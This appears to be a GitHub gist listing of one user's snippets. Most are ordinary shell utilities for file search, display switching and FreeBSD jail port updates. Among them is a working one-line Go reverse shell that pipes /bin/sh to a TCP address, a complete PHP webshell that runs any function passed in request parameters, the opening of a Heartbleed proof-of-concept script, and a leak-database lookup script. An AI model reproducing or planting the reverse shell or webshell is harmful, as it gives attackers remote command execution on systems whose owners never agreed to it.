Skip to content

Instantly share code, notes, and snippets.

👾

takeshix takeshixx

👾
View GitHub Profile
@takeshixx
takeshixx / gist:7466377
Last active Dec 28, 2015
$shell (zsh,bash,etc.) search functions
View gist:7466377
# search all with wildcard
function saw(){
find / -regextype posix-extended -iregex ".*\/[^\/]*$@.*" -exec ls -lad --color {} \; 2>/dev/null
}
# search all with exact match
function sa(){
find / -regextype posix-extended -iregex ".*\/$@" -exec ls -lad --color {} \; 2>/dev/null
}
# search local with wildcard
function slw(){
@takeshixx
takeshixx / xwrap.sh
Created Nov 15, 2013
xrandr wrapper script; switch between single/extended/cloned view (e.g. configure external display/projector)
View xwrap.sh
#!/bin/zsh
# xrandr wrapper; switch between single/extended/cloned desktop;
CONFIGURED_DEVICES=($(xrandr|egrep -o '[[:alnum:]]+ [dis]{0,3}connected [0-9]{3,}x[0-9]{3,}'|awk '{print $1}'))
CONNECTED_DEVICES=($(xrandr|grep ' connected '|awk '{print $1}'))
PRIMARY=${CONFIGURED_DEVICES[1]}
RES_PRIMARY=$(xrandr|grep ${PRIMARY} -A1|tail -n1|egrep -o '[0-9]{3,}x[0-9]{3,}')
if [ ${#CONFIGURED_DEVICES[*]} -eq 1 ]; then
[ ${#CONNECTED_DEVICES[*]} -lt 2 ] && { print 'only one display conencted';exit; }
CUR_MODE='single'
@takeshixx
takeshixx / gist:7486990
Last active Dec 28, 2015
Check for port updates in FreeBSD jails
View gist:7486990
for jail in $(jails);do print $jail;jexec $(jid $jail) portmaster -L --index-only|egrep '(ew|ort) version|total install';print;done
@takeshixx
takeshixx / contab-jails.sh
Last active Mar 22, 2017
Crontab script for FreeBSD Jails (update seperate ports tree, run portaudit, check for port updates)
View contab-jails.sh
#!/usr/local/bin/zsh
JAIL_PORTS=/usr/jails/ports
SHELL=/usr/local/bin/zsh
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/root/bin
SECTION=' * * * * * * '
DELIMITER='------------------------------'
portsnap -p $JAIL_PORTS fetch extract &>/dev/null || echo "Updating ports tree failed!"
echo "# VULNERABILITIES"
@takeshixx
takeshixx / gist:7683667
Last active Dec 29, 2015
Update FreeBSD ports inside jails.
View gist:7683667
for jail in $(jails);do jexec $(jid $jail) portmaster -ay;done
@takeshixx
takeshixx / gist:8493530
Created Jan 18, 2014
Set proxy in a shell.
View gist:8493530
function proxy () {
UNSET=""
PROXY="http://127.0.0.1:8080"
PROXY_ENV=(http_proxy https_proxy ftp_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY)
if [ $1 == on ]; then
for i in $PROXY_ENV; do
export $i=$PROXY
done
echo "proxy set"
elif [ $1 == off ]; then
@takeshixx
takeshixx / leakdb.py
Created Jan 30, 2014
Small leakdb script for a $SHELL alias
View leakdb.py
#!/usr/bin/env python2
import sys,requests
DEBUG = False
try:
lines = sys.stdin.read().split('\n')
for h in lines:
if not h: continue
r = requests.get('https://api.leakdb.net/?j={}'.format(h)).json()
@takeshixx
takeshixx / shell.go
Last active Oct 30, 2018
Golang reverse shell
View shell.go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
@takeshixx
takeshixx / shell.php
Created Apr 5, 2014
PHP webshell/backdoor
View shell.php
// Call: http://localhost/shell.php?f=system&c=id
<?@extract($_REQUEST);@die($f($c));?>
@takeshixx
takeshixx / hb-test.py
Last active Jun 10, 2020
OpenSSL heartbeat PoC with STARTTLS support.
View hb-test.py
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser
You can’t perform that action at this time.